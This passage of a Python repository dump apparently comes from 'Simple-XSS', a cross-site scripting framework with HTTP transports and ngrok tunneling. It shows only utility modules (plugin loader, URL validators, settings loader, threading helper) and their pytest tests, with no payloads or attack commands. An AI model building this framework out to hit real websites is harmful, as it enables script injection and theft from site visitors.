1 | import logging
2 |
3 | logger = logging.getLogger('utils.imputils')
4 |
--------------------------------------------------------------------------------
/simplexss/utils/imputils/module.py:
--------------------------------------------------------------------------------
1 | import importlib.util
2 | import os
3 | import sys
4 | from functools import cache
5 | from types import ModuleType
6 |
7 | from .logging import logger
8 |
9 |
10 | @cache
11 | def import_module(path: str) -> ModuleType:
12 | directory = os.path.dirname(path)
13 | sys.path.append(directory)
14 | try:
15 | if not os.path.exists(path):
16 | logger.error(f'File not found: {path}')
17 | raise FileNotFoundError(f"Module file not found: {path}")
18 | *_, filename = os.path.split(path)
19 | spec = importlib.util.spec_from_file_location(filename.replace('.py', ''), path)
20 | imported_module = importlib.util.module_from_spec(spec)
21 | spec.loader.exec_module(imported_module)
22 |
23 | logger.debug(f'Module imported: {imported_module}')
24 | return imported_module
25 | except Exception as e:
26 | logger.error(e)
27 | raise ImportError(f'Failed to import module: {path}')
28 | finally:
29 | sys.path.remove(directory)
30 |
--------------------------------------------------------------------------------
/simplexss/utils/jinja/__init__.py:
--------------------------------------------------------------------------------
1 | from .utils import render
2 |
3 | __all__ = [
4 | 'render',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/utils/jinja/utils.py:
--------------------------------------------------------------------------------
1 | from jinja2 import (
2 | FileSystemLoader,
3 | Environment
4 | )
5 |
6 |
7 | def render(directory: str, file: str, **context):
8 | env = Environment(loader=FileSystemLoader(directory))
9 | template = env.get_template(file)
10 | return template.render(**context)
11 |
--------------------------------------------------------------------------------
/simplexss/utils/network/__init__.py:
--------------------------------------------------------------------------------
1 | from .url import change_protocol
2 | from .validators import (
3 | validate_url,
4 | validate_host,
5 | validate_port,
6 | validate_domain
7 | )
8 |
9 | __all__ = [
10 | 'change_protocol',
11 | 'validate_domain',
12 | 'validate_port',
13 | 'validate_host',
14 | 'validate_url',
15 | ]
16 |
--------------------------------------------------------------------------------
/simplexss/utils/network/contants.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | HOSTNAME_REGEX = re.compile(r"^(?!-)[A-Za-z0-9-.]{1,63}(? str:
5 | urlinfo = urlparse(url)
6 | return url.replace(urlinfo.scheme, protocol)
7 |
--------------------------------------------------------------------------------
/simplexss/utils/network/validators.py:
--------------------------------------------------------------------------------
1 | from urllib.parse import urlparse
2 |
3 | from .contants import (
4 | HOSTNAME_REGEX,
5 | DOMAIN_REGEX,
6 | URL_REGEX
7 | )
8 |
9 |
10 | def validate_port(port: int, raise_exceptions: bool = False) -> bool:
11 | valid = (0 <= port <= 65535)
12 |
13 | if not valid and raise_exceptions:
14 | raise ValueError(f'Port {port} is invalid')
15 |
16 | return valid
17 |
18 |
19 | def validate_host(host: str, raise_exceptions: bool = False) -> bool:
20 | if HOSTNAME_REGEX.match(host):
21 | return True
22 | elif raise_exceptions:
23 | raise ValueError(f'Hostname {host} is invalid')
24 | return False
25 |
26 |
27 | def validate_domain(domain: str, raise_exceptions: bool = False) -> bool:
28 | if DOMAIN_REGEX.match(domain):
29 | return True
30 | elif raise_exceptions:
31 | raise ValueError(f'Domain {domain} is invalid')
32 | return False
33 |
34 |
35 | def validate_url(url: str, raise_exceptions: bool = False) -> bool:
36 | try:
37 | result = urlparse(url)
38 | scheme = result.scheme
39 | netloc = url.removeprefix(scheme + '://')
40 |
41 | if not all([scheme, netloc]):
42 | raise ValueError
43 |
44 | if ':/' in netloc:
45 | raise ValueError
46 |
47 | if ':' in netloc:
48 | netloc = netloc.split(':', 1)[0]
49 |
50 | if not validate_host(netloc):
51 | raise ValueError
52 |
53 | except ValueError:
54 | if raise_exceptions:
55 | raise ValueError(f'URL {url} is invalid')
56 | return False
57 | return True
58 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/__init__.py:
--------------------------------------------------------------------------------
1 | from .packages import Package
2 | from .managers import PackageManager
3 | from .types import (
4 | BasePackage,
5 | BasePackageManager
6 | )
7 |
8 | __all__ = (
9 | 'Package',
10 | 'PackageManager',
11 | 'BasePackage',
12 | 'BasePackageManager',
13 | )
14 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/constants.py:
--------------------------------------------------------------------------------
1 | DEFAULT_PACKAGE_FILE = 'plugin.py'
2 | DEFAULT_PACKAGE_CLASS = 'Package'
3 | DEFAULT_PACKAGES_DIR = 'packages'
4 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/exceptions.py:
--------------------------------------------------------------------------------
1 | class PackageError(Exception):
2 | msg = 'Package error: {package}'
3 |
4 | def __init__(self, package: str, msg: str = None):
5 | self.package = package
6 | self.msg = msg or self.msg
7 | super().__init__(self.msg.format(package=package))
8 |
9 |
10 | class PackageNotFoundError(PackageError):
11 | msg = 'Package not found: {package}'
12 |
13 |
14 | class PackageFormatError(PackageError):
15 | msg = "Package {package} has wrong format, so it can't be loaded"
16 |
17 |
18 | class PackageDisabledError(PackageError):
19 | msg = 'Package is disabled: {package}'
20 |
21 |
22 | class PackageNotLoadedError(PackageError):
23 | msg = 'Package is not loaded: {package}'
24 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logger = logging.getLogger('utils.packages')
--------------------------------------------------------------------------------
/simplexss/utils/packages/managers.py:
--------------------------------------------------------------------------------
1 | import os
2 | from typing import Iterable, Container
3 |
4 | from .constants import (
5 | DEFAULT_PACKAGE_FILE,
6 | DEFAULT_PACKAGE_CLASS,
7 | DEFAULT_PACKAGES_DIR
8 | )
9 | from .types import (
10 | BasePackageManager,
11 | BasePackage
12 | )
13 | from .exceptions import (
14 | PackageNotLoadedError,
15 | PackageNotFoundError,
16 | PackageError,
17 | PackageDisabledError,
18 | PackageFormatError
19 | )
20 | from .logging import logger
21 | from ..imputils import import_class
22 |
23 |
24 | class PackageManager(BasePackageManager):
25 | def __init__(self, disabled: Container[str] = ()):
26 | self._packages = {}
27 | self._disabled = disabled
28 |
29 | def load_package(self, path: str, **kwargs) -> BasePackage:
30 | filename = kwargs.get('file', kwargs.get('filename', DEFAULT_PACKAGE_FILE))
31 | class_name = kwargs.get('class_name', DEFAULT_PACKAGE_CLASS)
32 | base_class = kwargs.get('base_class', BasePackage)
33 |
34 | if os.path.isdir(path):
35 | main_file = os.path.join(path, filename)
36 | else:
37 | main_file = path
38 |
39 | if not os.path.isfile(main_file):
40 | raise PackageNotFoundError(main_file)
41 |
42 | try:
43 | package_class = import_class(
44 | path=main_file,
45 | class_name=class_name,
46 | base=base_class
47 | )
48 | except (ImportError, TypeError) as e:
49 | logger.error(e)
50 | raise PackageFormatError(main_file)
51 |
52 | try:
53 | if package_class.NAME in self._disabled:
54 | raise PackageDisabledError(package_class.NAME)
55 | except AttributeError as e:
56 | logger.error(e)
57 | raise PackageFormatError(main_file, 'Package {package} name not set')
58 |
59 | try:
60 | package = package_class()
61 | except TypeError as e:
62 | logger.error(e)
63 | raise PackageFormatError(main_file, f'Package should implement all abstract methods')
64 |
65 | package.on_loaded(main_file)
66 | self._packages[package.NAME] = package
67 |
68 | logger.debug(f'Package loaded: {package.NAME}')
69 |
70 | return package
71 |
72 | def load_packages(self, directory: str = DEFAULT_PACKAGES_DIR, **kwargs) -> Iterable[BasePackage]:
73 | for package in os.listdir(directory):
74 | package = os.path.join(directory, package)
75 | try:
76 | if os.path.isdir(package):
77 | self.load_package(package, **kwargs)
78 | except PackageError as e:
79 | logger.error(e)
80 | return self.packages
81 |
82 | def unload_package(self, name: str):
83 | package = self.get_package(name)
84 |
85 | if package is None:
86 | raise PackageNotLoadedError(name)
87 |
88 | logger.debug(f'Package unloaded: {name}')
89 | self._packages.pop(name)
90 |
91 | def unload_packages(self):
92 | for name in self._packages.keys():
93 | self.unload_package(name)
94 |
95 | def get_package(self, name: str) -> BasePackage | None:
96 | return self._packages.get(name)
97 |
98 | @property
99 | def packages(self) -> Iterable[BasePackage]:
100 | return self._packages.values()
101 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/packages.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | from .types import BasePackage
4 |
5 |
6 | class Package(BasePackage):
7 | file: str = None
8 | directory: str = None
9 |
10 | def on_loaded(self, file: str):
11 | self.file = file
12 | self.directory = os.path.dirname(file)
13 |
14 | def on_unloaded(self):
15 | pass
16 |
--------------------------------------------------------------------------------
/simplexss/utils/packages/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 |
6 | from typing import (
7 | Iterable,
8 | )
9 |
10 | from .constants import (
11 | DEFAULT_PACKAGE_FILE,
12 | DEFAULT_PACKAGES_DIR
13 | )
14 |
15 |
16 | class BasePackage(ABC):
17 | NAME: str
18 | DESCRIPTION: str = None
19 | VERSION: str = '0.0.0'
20 | AUTHOR: str = None
21 |
22 | @abstractmethod
23 | def on_loaded(self, file: str): ...
24 |
25 | @abstractmethod
26 | def on_unloaded(self): ...
27 |
28 |
29 | class BasePackageManager(ABC):
30 | @abstractmethod
31 | def load_package(self, path: str, **kwargs) -> BasePackage: ...
32 |
33 | @abstractmethod
34 | def load_packages(self, directory: str = DEFAULT_PACKAGES_DIR, **kwargs) -> Iterable[BasePackage]: ...
35 |
36 | @abstractmethod
37 | def unload_package(self, name: str): ...
38 |
39 | @abstractmethod
40 | def unload_packages(self): ...
41 |
42 | @abstractmethod
43 | def get_package(self, name: str) -> BasePackage | None: ...
44 |
45 | @property
46 | @abstractmethod
47 | def packages(self) -> Iterable[BasePackage]: ...
48 |
--------------------------------------------------------------------------------
/simplexss/utils/settings/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import BaseLoader
2 |
3 | __all__ = [
4 | 'BaseLoader'
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/utils/settings/exceptions.py:
--------------------------------------------------------------------------------
1 | class SettingsError(Exception):
2 | pass
3 |
4 |
5 | class FileFormatError(SettingsError):
6 | def __init__(self, file: str, msg: str):
7 | self.file = file
8 | super().__init__(msg)
9 |
--------------------------------------------------------------------------------
/simplexss/utils/settings/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logger = logging.getLogger('utils.settings')
4 |
--------------------------------------------------------------------------------
/simplexss/utils/settings/toml/__init__.py:
--------------------------------------------------------------------------------
1 | from .loaders import TOMLLoader
2 |
3 | __all__ = [
4 | 'TOMLLoader',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/utils/settings/toml/loaders.py:
--------------------------------------------------------------------------------
1 | import toml
2 | from pydantic import BaseModel
3 |
4 | from ..logging import logger
5 | from ..types import (
6 | BaseLoader
7 | )
8 | from ..exceptions import FileFormatError
9 |
10 |
11 | class TOMLLoader(BaseLoader):
12 | def load(self, file: str, schema: type[BaseModel], **kwargs) -> BaseModel:
13 | try:
14 | data: dict = toml.load(file)
15 | settings = schema.model_validate(data, **kwargs)
16 | logger.info(f'Settings loaded: {settings}')
17 | return settings
18 | except toml.TomlDecodeError as e:
19 | raise FileFormatError(file=file, msg=str(e))
20 |
21 | def save(self, file: str, data: BaseModel, **kwargs):
22 | with open(file, 'w', encoding='utf-8') as f:
23 | data: dict = data.model_dump(**kwargs)
24 | toml.dump(data, f)
25 | logger.info(f'Settings saved: {data}')
--------------------------------------------------------------------------------
/simplexss/utils/settings/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 |
6 | from pydantic import BaseModel
7 |
8 |
9 | class BaseLoader(ABC):
10 | @abstractmethod
11 | def load(self, file: str, schema: type[BaseModel], **kwargs) -> BaseModel: ...
12 |
13 | @abstractmethod
14 | def save(self, file: str, data: BaseModel, **kwargs): ...
15 |
--------------------------------------------------------------------------------
/simplexss/utils/theads/__init__.py:
--------------------------------------------------------------------------------
1 | from .utils import thread
2 |
3 | __all__ = [
4 | 'thread',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/utils/theads/utils.py:
--------------------------------------------------------------------------------
1 | import threading
2 | from functools import wraps
3 | from typing import Callable
4 |
5 |
6 | def thread(target: Callable = None, /, *, daemon: bool = False):
7 | def wrapper(*args, **kwargs) -> threading.Thread:
8 | thr = threading.Thread(
9 | target=target,
10 | args=args,
11 | kwargs=kwargs,
12 | daemon=daemon
13 | )
14 | thr.start()
15 | return thr
16 |
17 | def decorator(func: Callable):
18 | nonlocal target
19 |
20 | target = func
21 | return wraps(target)(wrapper)
22 |
23 | if callable(target):
24 | return wraps(target)(wrapper)
25 | return decorator
26 |
--------------------------------------------------------------------------------
/tests/transports/http/test_fast_api_server.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/transports/http/test_fast_api_server.py
--------------------------------------------------------------------------------
/tests/transports/http/test_http_service.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.core.transports import BaseSession
4 | from simplexss.core.transports.http import (
5 | HTTPSession,
6 | HTTPService
7 | )
8 |
9 |
10 | @pytest.mark.asyncio
11 | async def test_http_service_run():
12 | service = HTTPService()
13 | session = await service.run(
14 | 'localhost',
15 | 4444
16 | )
17 |
18 | assert isinstance(session, BaseSession)
19 |
--------------------------------------------------------------------------------
/tests/tunneling/test_factory.py:
--------------------------------------------------------------------------------
1 | from abc import ABC
2 |
3 | from simplexss.core.tunneling import (
4 | TunnelingServiceFactory,
5 | BaseTunnelingService
6 | )
7 |
8 |
9 | class Service(BaseTunnelingService, ABC):
10 | NAME = 'http'
11 | PROTOCOLS = (
12 | 'test_proto_1',
13 | )
14 |
15 |
16 | class Service2(BaseTunnelingService):
17 | NAME = 'test2'
18 | PROTOCOLS = (
19 | 'test_proto_2',
20 | )
21 |
22 | async def run(self, protocol: str, port: int):
23 | pass
24 |
25 | async def stop(self, session):
26 | pass
27 |
28 |
29 | def test_get_names():
30 | factory = TunnelingServiceFactory()
31 | names = tuple(factory.get_names('test_proto_1'))
32 |
33 | assert len(names) == 1
34 | assert 'http' in names
35 |
36 |
37 | def test_get_service():
38 | factory = TunnelingServiceFactory()
39 |
40 | assert factory.get_service('test2') is Service2
41 |
42 |
43 | def test_create_instance():
44 | factory = TunnelingServiceFactory()
45 |
46 | assert isinstance(factory.create('test2'), Service2)
47 |
--------------------------------------------------------------------------------
/tests/tunneling/test_ngrok.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.tunneling.ngrok import NgrokService
2 |
--------------------------------------------------------------------------------
/tests/utils/args/test_parser.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 | from pydantic import (
4 | BaseModel,
5 | Field
6 | )
7 |
8 | from simplexss.utils.arguments import SchemedArgumentParser
9 |
10 |
11 | def test_parse_str_args():
12 | class Schema1(BaseModel):
13 | test: str = Field(description='Hello, World!')
14 |
15 | parser = SchemedArgumentParser(
16 | schema=Schema1
17 | )
18 | args = parser.parse_schemed_args(['--settings', '123'])
19 |
20 | assert args.test == '123'
21 |
22 |
23 | def test_parse_int_args():
24 | class Schema2(BaseModel):
25 | test: int = Field(description='Hello, World!')
26 |
27 | parser = SchemedArgumentParser(
28 | schema=Schema2
29 | )
30 | args = parser.parse_schemed_args(['--settings', '123'])
31 |
32 | assert args.test == 123
33 |
34 |
35 | def test_parse_str_enum_args():
36 | class StrEnum(str, Enum):
37 | A = 'a'
38 | B = 'b'
39 | C = 'c'
40 |
41 | class Schema3(BaseModel):
42 | test: StrEnum
43 |
44 | parser = SchemedArgumentParser(
45 | schema=Schema3
46 | )
47 | args = parser.parse_schemed_args(['--settings', 'c'])
48 |
49 | assert args.test == StrEnum.C
50 |
51 |
52 | def test_parse_int_enum_args():
53 | class IntEnum1(int, Enum):
54 | ONE = 1
55 | TWO = 2
56 | THREE = 3
57 |
58 | class Schema4(BaseModel):
59 | test: IntEnum1
60 |
61 | parser = SchemedArgumentParser(
62 | schema=Schema4
63 | )
64 | args = parser.parse_schemed_args(['--settings', '2'])
65 |
66 | assert args.test == IntEnum1.TWO
67 |
68 |
69 | def test_parse_positional_args():
70 | class Schema5(BaseModel):
71 | abc: str
72 |
73 | parser = SchemedArgumentParser(
74 | schema=Schema5,
75 | positional_arguments=('abc',)
76 | )
77 |
78 | args = parser.parse_schemed_args(['321'])
79 |
80 | assert args.abc == '321'
81 |
82 |
83 | def test_parse_short_aliases():
84 | class Schema6(BaseModel):
85 | test: str
86 |
87 | parser = SchemedArgumentParser(
88 | schema=Schema6,
89 | short_aliases={
90 | 'settings': 'b'
91 | }
92 | )
93 |
94 | args = parser.parse_schemed_args(['-b', '4444'])
95 | assert args.test == '4444'
96 |
97 |
98 | def test_parse_field_aliases():
99 | class Schema7(BaseModel):
100 | test: str = Field(alias='ttt')
101 |
102 | parser = SchemedArgumentParser(
103 | schema=Schema7
104 | )
105 |
106 | args = parser.parse_schemed_args(['--ttt', '4444'])
107 | assert args.test == '4444'
108 |
--------------------------------------------------------------------------------
/tests/utils/clsutils/test_generators.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.clsutils import (
4 | iter_instances,
5 | iter_subclasses
6 | )
7 |
8 |
9 | class FirstClass:
10 | pass
11 |
12 |
13 | class FirstSubclass(FirstClass):
14 | pass
15 |
16 |
17 | class FirstSubSubClass(FirstSubclass):
18 | pass
19 |
20 |
21 | @pytest.fixture
22 | def create_instances():
23 | return [
24 | FirstClass(),
25 | FirstClass(),
26 | FirstClass(),
27 | FirstSubclass(),
28 | FirstSubSubClass()
29 | ]
30 |
31 |
32 | def test_iter_instances_precise(create_instances):
33 | instances = tuple(iter_instances(FirstClass, precise=True))
34 |
35 | assert len(instances) == 3
36 |
37 |
38 | def test_iter_instances_not_precise(create_instances):
39 | instances = tuple(iter_instances(FirstClass, precise=False))
40 |
41 | assert len(instances) == 5
42 |
43 |
44 | def test_iter_subclasses_max_level_1():
45 | subclasses = tuple(iter_subclasses(FirstClass, max_level=1))
46 |
47 | assert len(subclasses) == 1
48 | assert subclasses[0] == FirstSubclass
49 |
50 |
51 | def test_iter_subclasses_max_level_neg_1():
52 | subclasses = tuple(iter_subclasses(FirstClass, max_level=-1))
53 |
54 | assert len(subclasses) == 2
55 |
56 |
57 | def test_iter_subclasses_max_level_0():
58 | subclasses = tuple(iter_subclasses(FirstClass, max_level=0))
59 |
60 | assert len(subclasses) == 0
--------------------------------------------------------------------------------
/tests/utils/di/test_container.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/utils/di/test_container.py
--------------------------------------------------------------------------------
/tests/utils/di/test_factory_dependency.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.di import (
4 | containers,
5 | dependencies
6 | )
7 |
8 |
9 | class Service:
10 | pass
11 |
12 |
13 | class Service2:
14 | pass
15 |
16 |
17 | def functional_factory():
18 | return Service2()
19 |
20 |
21 | @pytest.mark.parametrize('factory, base', [
22 | (Service, Service),
23 | (Service2, Service2),
24 | (functional_factory, Service2)
25 | ])
26 | def test_factory(factory, base):
27 | class Container(containers.Container):
28 | my_factory = dependencies.Factory(factory)
29 |
30 | assert isinstance(Container.my_factory.value, base)
31 |
32 |
33 | def test_factory_bind():
34 | class Container(containers.Container):
35 | factory = dependencies.Factory(Service)
36 |
37 | assert isinstance(Container.factory.value, Service)
38 |
39 | Container.factory.bind_factory(Service2)
40 |
41 | assert isinstance(Container.factory.value, Service2)
42 |
--------------------------------------------------------------------------------
/tests/utils/di/test_inject.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.di import (
2 | inject,
3 | containers,
4 | dependencies
5 | )
6 |
7 |
8 | def test_inject():
9 | value = 'hello, world!'
10 |
11 | class Container(containers.Container):
12 | dep = dependencies.Dependency(value)
13 |
14 | @inject
15 | def clb(dep=Container.dep):
16 | assert dep == value
17 |
18 | clb()
19 |
--------------------------------------------------------------------------------
/tests/utils/di/test_singleton_dependnecy.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.di import (
4 | containers,
5 | dependencies
6 | )
7 |
8 |
9 | def test_singleton():
10 | class Service:
11 | pass
12 |
13 | class Container(containers.Container):
14 | singleton = dependencies.Singleton(Service)
15 |
16 | assert Container.singleton.value is Container.singleton.value
17 |
--------------------------------------------------------------------------------
/tests/utils/events/test_async_event.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/utils/events/test_async_event.py
--------------------------------------------------------------------------------
/tests/utils/events/test_event_channel.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.events import (
4 | EventChannel,
5 | Event,
6 | AsyncEvent
7 | )
8 |
9 |
10 | def test_event_channel_events_property():
11 | class Channel(EventChannel):
12 | event = Event()
13 | async_event = AsyncEvent()
14 | event_2 = Event()
15 |
16 | assert len(Channel.events) == 3
17 | assert Channel.event_2 in Channel.events
18 | assert Channel.async_event in Channel.events
19 | assert Channel.event in Channel.events
20 |
--------------------------------------------------------------------------------
/tests/utils/events/test_sync_event.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.events import (
2 | EventChannel,
3 | Event
4 | )
5 |
6 |
7 | def test_event_subscribe_publish():
8 | class Channel(EventChannel):
9 | event = Event()
10 |
11 | called = False
12 |
13 | def callback(event):
14 | nonlocal called
15 |
16 | assert event is Channel.event
17 |
18 | called = True
19 |
20 | Channel.event.subscribe(callback)
21 | Channel.event.publish()
22 |
23 | assert called
24 |
--------------------------------------------------------------------------------
/tests/utils/network/test_url.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.network import (
4 | change_protocol,
5 | )
6 |
7 |
8 | @pytest.mark.parametrize(
9 | 'url, protocol, expected',
10 | [
11 | ('http://abc.com', 'https', 'https://abc.com'),
12 | ('http://abc.com', 'wss', 'wss://abc.com'),
13 | ('ws://abc.com', 'wss', 'wss://abc.com'),
14 | ]
15 |
16 | )
17 | def test_change_protocol(url, protocol, expected):
18 | assert change_protocol(url, protocol) == expected
19 |
--------------------------------------------------------------------------------
/tests/utils/network/test_validators.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.network import (
4 | validate_url,
5 | validate_domain,
6 | validate_port,
7 | validate_host
8 | )
9 |
10 |
11 | @pytest.mark.parametrize(
12 | 'url',
13 | [
14 | 'https://google.com',
15 | 'http://example.com',
16 | 'wss://example.com',
17 | 'ws://127.0.0.1:1234',
18 | ]
19 | )
20 | def test_validate_url(url):
21 | print(url)
22 | assert validate_url(url)
23 |
24 |
25 | @pytest.mark.parametrize(
26 | 'url',
27 | [
28 | 'https:/google.com',
29 | 'google.com',
30 | ]
31 | )
32 | def test_validate_invalid_url(url):
33 | assert not validate_url(url)
34 |
35 |
36 | @pytest.mark.parametrize(
37 | 'port',
38 | [
39 | 0,
40 | 65535,
41 | ]
42 | )
43 | def test_validate_port(port):
44 | assert validate_port(port)
45 |
46 |
47 | @pytest.mark.parametrize(
48 | 'port',
49 | [
50 | -1,
51 | 65536,
52 | ]
53 | )
54 | def test_validate_invalid_port(port):
55 | assert not validate_port(port)
56 |
--------------------------------------------------------------------------------
/tests/utils/packages/packages/package.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils import packages
2 |
3 |
4 | class Package(packages.Package):
5 | NAME = 'hello-package'
6 |
--------------------------------------------------------------------------------
/tests/utils/packages/packages/package_2.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils import packages
2 |
3 |
4 | class PackageCls(packages.Package):
5 | NAME = 'hello-package-2'
6 |
--------------------------------------------------------------------------------
/tests/utils/packages/test_manager.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from simplexss.utils.packages import (
4 | PackageManager,
5 | )
6 |
7 |
8 | @pytest.mark.parametrize(
9 | 'path, name, class_name',
10 | [
11 | ('tests/utils/packages/packages/package.py', 'hello-package', 'Package'),
12 | ('tests/utils/packages/packages/package_2.py', 'hello-package-2', 'PackageCls'),
13 | ]
14 | )
15 | def test_package_loading(path, name, class_name):
16 | manager = PackageManager()
17 | package = manager.load_package(
18 | path,
19 | class_name=class_name
20 | )
21 |
22 | assert package.NAME == name
23 |
24 |
25 | def test_package_unloading():
26 | manager = PackageManager()
27 | package = manager.load_package('tests/utils/packages/packages/package.py')
28 |
29 | manager.unload_package(package.NAME)
30 |
31 | assert manager.get_package(package.NAME) is None
32 | assert len(list(manager.packages)) == 0
33 |
--------------------------------------------------------------------------------
/tests/utils/settings/test_toml.py:
--------------------------------------------------------------------------------
1 | import toml
2 |
3 | from simplexss.utils.settings.toml import TOMLLoader
4 |
5 |
6 | def test_load():
7 | pass
8 |
--------------------------------------------------------------------------------